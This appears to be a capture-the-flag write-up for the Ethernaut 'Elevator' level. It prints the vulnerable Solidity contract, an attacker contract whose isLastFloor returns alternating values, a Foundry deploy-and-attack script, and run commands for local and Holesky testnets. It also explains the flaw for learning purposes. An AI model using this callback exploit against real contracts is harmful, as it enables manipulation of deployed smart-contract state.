Level 11 - Elevator ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}Exploit
top must first return false when called, then true the next time. The interface for Building is set to msg.sender.
Create a contract that exploits this by implementing a function
isLastFloorthat setstoptotrue.
make anvil-exploit-level-11
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-11
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │ LEVEL 11 - ELEVATOR │
// ================================================================
interface IElevator {
function goTo(uint256 _floor) external;
}
contract Building {
IElevator targetContract;
bool public last = true;
constructor(address _targetContractAddress) payable {
targetContract = IElevator(_targetContractAddress);
}
function isLastFloor(uint256 _floor) public returns (bool) {
if (_floor > 0) {
last = !last;
return last;
} else {
revert("Invalid floor");
}
}
function attack() public {
targetContract.goTo(1);
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {Building} from "../src/Level11.sol";
// ================================================================
// │ LEVEL 11 - ELEVATOR │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
Building building = new Building(targetContractAddress);
building.attack();
vm.stopBroadcast();
}
}Submit instance... 🥳
Completion Message
Notes
The function
isLastFlooris called twice, with the returned value changing for the same input as the state is changed.If the
isLastFloorhad been restricted to view, then this attack wouldn't be possible (unless it was calling a library, which doesn't have runtime checks to make sure it doesn't modify the state when it says it's view)
Last updated